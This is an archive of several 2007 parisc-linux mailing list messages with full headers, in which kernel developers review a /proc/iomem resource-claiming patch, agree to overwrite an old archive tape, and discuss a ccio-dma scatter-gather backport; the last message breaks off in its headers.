To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 21:57:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 18 Oct 2007 23:57:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11F1B7E6E8;
	Thu, 18 Oct 2007 15:57:23 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eMZyr5m0Eyd6; Thu, 18 Oct 2007 15:57:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 860A97E6EF;
	Thu, 18 Oct 2007 15:57:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15CDF7E6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 15:57:06 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id p5pCDwBMD50T for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 15:56:54 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E93AB7E6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 15:56:54 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 99059494007; Thu, 18 Oct 2007 15:56:55 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 1488 seconds by postgrey-1.27 at palinux;
	Thu, 18 Oct 2007 15:56:55 MDT
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 70685494006
	for <parisc-linux@parisc-linux.org>;
	Thu, 18 Oct 2007 15:56:55 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 761493F8B02;
	Thu, 18 Oct 2007 15:32:05 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19286-10; Thu, 18 Oct 2007 15:31:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AD8C83F8AFD; Thu, 18 Oct 2007 15:31:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20071014144826.GF29934@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iaN2IzUJa0ApbL6aejEzdSs3Njh6dE5E
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25457

On Sun, Oct 14, 2007 at 08:48:27AM -0600, Matthew Wilcox wrote:
> 
> commit 5d04e33a34814d0cc3029f4b1ba0e62829cb4610
> Author: Matthew Wilcox <matthew@wil.cx>
> Date:   Sun Oct 14 10:13:31 2007 -0400
> 
>     parisc: Fix infinite loop in /proc/iomem
>     
>     pcibios_link_hba_resources() could corrupt the resource tree by inserting
>     resources in the wrong place.  Fix this by calling pci_claim_resource()
>     for PCI-PCI bridges.  Delete pcibios_link_hba_resources as we shouldn't
>     need it any more.  Also get rid of lba_claim_dev_resources() and just
>     call pci_claim_resource() directly.

Nice!

Just one question on this bit:

> @@ -803,6 +768,9 @@ lba_fixup_bus(struct pci_bus *bus)
>  				DBG("lba_fixup_bus() WTF? 0x%lx [%lx/%lx] XXX",
>  					res->flags, res->start, res->end);
>  			}
> +			if ((i != PCI_ROM_RESOURCE) ||
> +			    (res->flags & IORESOURCE_ROM_ENABLE))
> +				pci_claim_resource(dev, i);
>  		}
>  

Why would ROM_ENABLE be set for something that's not a ROM?
I would expect "is ROM BAR _and_ ROM_ENABLE".

What am I missing? Maybe add a comment for this?

the rest looks good.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fix /proc/iomem
Date: Thu, 18 Oct 2007 16:10:55 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20071018221055.GC20102__22769.2284192473$1416624646$gmane$org@colo.lackof.org>
References: <20071014144826.GF29934@parisc-linux.org>
	<20071018213148.GA20102@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624646 28529 80.91.229.3 (22 Nov 2014 02:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 22:11:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 19 Oct 2007 00:11:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CEBE7E6C9;
	Thu, 18 Oct 2007 16:11:40 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id l7NSdkEiws-H; Thu, 18 Oct 2007 16:11:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 760FF7E6E6;
	Thu, 18 Oct 2007 16:11:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FE917E61F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 16:11:23 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YRkJs29k04dI for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 16:11:11 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4F1F87E5BA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 16:11:11 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 62950494007; Thu, 18 Oct 2007 16:11:15 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 2656E494006;
	Thu, 18 Oct 2007 16:11:15 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 98AAB3F8B06;
	Thu, 18 Oct 2007 16:11:13 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23762-03; Thu, 18 Oct 2007 16:10:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 63D693F8B02; Thu, 18 Oct 2007 16:10:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20071018213148.GA20102@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Rb5/ChVMbHIzb63NNjQ0LwAqJihyapCt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25458

On Thu, Oct 18, 2007 at 03:31:48PM -0600, Grant Grundler wrote:
> Why would ROM_ENABLE be set for something that's not a ROM?
> I would expect "is ROM BAR _and_ ROM_ENABLE".
> 
> What am I missing? Maybe add a comment for this?

Nevermind...this got explained over IRC.
ROM_ENABLE only gets checked for ROM devices.
Willy suggested this comment:
/* Don't register resources for disabled ROMs as they may overlap each other */

and that works for me.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Historical artifacts ... going, going
Date: Wed, 25 Jul 2007 16:47:52 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20070725224752.GA6667__14889.1442026526$1416624646$gmane$org@colo.lackof.org>
References: <20070725134259.GL26883@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624646 28531 80.91.229.3 (22 Nov 2014 02:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2007 15:12:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 20 Oct 2007 17:12:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE2B77E913;
	Sat, 20 Oct 2007 09:12:12 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IcMLovvDzlbh; Sat, 20 Oct 2007 09:12:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D19807E914;
	Sat, 20 Oct 2007 09:11:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C3697E912
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 09:11:54 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id v8Cnp7jpyFsS for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 09:11:41 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E24DA7E90B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 09:11:41 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 3A48549400D; Sat, 20 Oct 2007 09:11:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 3209 seconds by postgrey-1.27 at palinux;
	Sat, 20 Oct 2007 09:11:44 MDT
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id F1804494007
	for <parisc-linux@parisc-linux.org>;
	Sat, 20 Oct 2007 09:11:44 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by cuprel1.hp.com (Postfix) with ESMTP id CA12536D1
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Jul 2007 15:49:13 -0700 (PDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B03F73F8411;
	Wed, 25 Jul 2007 16:47:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05853-08; Wed, 25 Jul 2007 16:47:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7DB8C3F8410; Wed, 25 Jul 2007 16:47:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070725134259.GL26883@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.15+20070515 (2007-05-02)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6ygpcyocX1VoOOuYY2FyXul3SDc4NIw3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25459

On Wed, Jul 25, 2007 at 07:42:59AM -0600, Matthew Wilcox wrote:
> 
> I found a DAT today with the following contents on it.  Looks like it
> may have been a snapshot of the p-l ftp archive, possibly taken for
> transport to a show or something.  Anyone want to preserve these for
> historical purposes, or can I just write over this tape?

Write over it. I don't care since all that stuff was SOM based.

thanks for asking though,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Sat, 20 Oct 2007 17:21:44 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <471A3928.8040603__28056.0790365145$1416624647$gmane$org@scarlet.be>
References: <4714E800.50709@scarlet.be>
	<20071017184416.GB11502@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624647 28535 80.91.229.3 (22 Nov 2014 02:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2007 17:22:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 20 Oct 2007 19:22:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85FD47E990;
	Sat, 20 Oct 2007 11:22:22 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JbcQBK5BOvhe; Sat, 20 Oct 2007 11:22:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 924657E993;
	Sat, 20 Oct 2007 11:22:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C6947E98F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:22:03 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Bt7NamYECOBN for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:21:50 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6D3547E986
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:21:50 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 4678049400B; Sat, 20 Oct 2007 11:21:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 4BE21494007;
	Sat, 20 Oct 2007 11:21:51 -0600 (MDT)
Original-Received: from (ip-213-49-83-8.dsl.scarlet.be [213.49.83.8])
	by guri.is.scarlet.be  with ESMTP id l9KHLl024701;
	Sat, 20 Oct 2007 19:21:47 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071017184416.GB11502@fattire.cabal.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gkx7I1c0a0ApbL6aejEzdEY3Njh6dI74
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25460

Hello Kyle,

Hppay that you finaly receive it ;-)
(btw sorry for boucing)

Kyle McMartin wrote:
> On Tue, Oct 16, 2007 at 04:34:08PM +0000, Joel Soete wrote:
>> And here is the main hunk:
>>
>> This consist of 'backporting' to ccio of the most of Grant's work on sg list
>> management of sba-iommu.
>>
>> According to some stress test on d380 it makes ncr driver more stable; 
>> improve
>> network perf on my d380 (from 110 to 430 kb/s);
>> (would allow in a next step merge some hunk of sba code in iommu-helper.h)
>>
> 
> A long time ago (a couple months?) I merged large swaths of ccio and sba
> code... unfortunately, it caused an almost measurable (~2-5%) loss of
> performance on networking and scsi throughput...
> 
On network it's sure this one is a measarable improvement ;-)
Otoh for scsi I mainly record a improvement of stability (but I will try more measure)

> I probably lost the code when my j6000 disk failed,
too bad

> but I'll probably
> have another crack at it someday.
> 
hope so.

> Anyway, the patch looks good, but it needs a bit of testing, so I think
> we'll wait for 2.6.25 to merge it?
> 
I hope too more testing, I can just test on my d380 (my c110 seems to be in bad status: after each reboot it makes a fsck 
and lost many files :_( ???)

> Regards,
> 	Kyle
> 
> 
Tx,
	J.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Sat, 20 Oct 2007 13:23:28 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20071020172328.GI10429__37835.4727560238$1416624647$gmane$org@fattire.cabal.ca>
References: <4714E800.50709@scarlet.be>
	<20071017184416.GB11502@fattire.cabal.ca>
	<471A3928.8040603@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624647 28539 80.91.229.3 (22 Nov 2014 02:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2007 17:24:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 20 Oct 2007 19:24:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 308997E98F;
	Sat, 20 Oct 2007 11:24:00 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MAURC0MdY2JB; Sat, 20 Oct 2007 11:23:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 667F67E99B;
	Sat, 20 Oct 2007 11:23:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE8B37E990
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:23:40 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ceDuianL76mn for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:23:27 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 811AF7E98F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Oct 2007 11:23:27 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 16ED849400B; Sat, 20 Oct 2007 11:23:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id E2C49494007;
	Sat, 20 Oct 2007 11:23:30 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0F47E5840C8;
	Sat, 20 Oct 2007 13:23:30 -0400 (EDT)
Original-Received: from fattire.cabal.ca (there.is.no.cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8ED4D5840C4;
	Sat, 20 Oct 2007 13:23:29 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 274DB23E02; Sat, 20 Oct 2007 13:23:29 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <471A3928.8040603@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
